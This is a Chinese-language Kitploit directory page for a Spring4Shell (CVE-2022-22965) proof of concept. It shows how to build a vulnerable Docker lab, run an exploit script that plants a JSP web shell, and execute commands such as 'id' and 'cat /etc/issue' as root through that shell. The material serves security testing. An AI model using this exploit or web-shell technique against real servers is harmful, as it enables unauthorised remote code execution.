Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2022-22965-PoC — CVE-2022-22965 (Spring4Shell) 概念验证 | Kitploit
工具/GitHubGitHub/sunnyvale-it/cve-2022-22965-poc
Payload生成漏洞分析漏洞利用Web应用程序漏洞利用渗透测试远程访问工具
GitHubsunnyvale-it/cve-2022-22965-poc

CVE-2022-22965-PoC

CVE-2022-22965 (Spring4Shell) 概念验证

查看仓库
7313年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2022-22965 (Spring4Shell) 概念验证

测试 Spring Core 中的 RCE(远程代码执行)

构建镜像

需要基于 BuildKit 的构建,因此你必须启用它。

最简单的方法是在执行 docker build 命令时设置 DOCKER_BUILDKIT=1 环境变量,例如:

root@kitploit:~
$ DOCKER_BUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core

否则,要默认启用 Docker BuildKit,请将 /etc/docker/daemon.json 中的守护进程配置的 feature 设置为 true 并重启守护进程:

root@kitploit:~
{ "features": { "buildkit": true } }

这样你就可以直接执行:

root@kitploit:~
$ docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core

测试存在漏洞的应用程序

root@kitploit:~
$ curl localhost:8080/spring4shell/exploitme
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Spring4Shell PoC Spring Application</title>
</head>
<body>
    Hello World! Exploit me!
</body>
</html>

运行利用程序

root@kitploit:~
$ python3 exploit-core.py --url "http://localhost:8080/spring4shell/exploitme" --file shell
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://localhost:8080/shell.jsp?cmd=id

如果一切正常,你可以通过 Tomcat HTTP 端口在容器中执行任意命令,例如:

root@kitploit:~
$ curl http://localhost:8080/shell.jsp\?cmd\=id --output -
uid=0(root) gid=0(root) groups=0(root)

//
root@kitploit:~
$ curl http://localhost:8080/shell.jsp\?cmd\=whoami --output -
root

//
root@kitploit:~
$ curl http://localhost:8080/shell.jsp\?cmd\=cat%20/etc/issue --output -
Debian GNU/Linux 11 \n \l


//
下载工具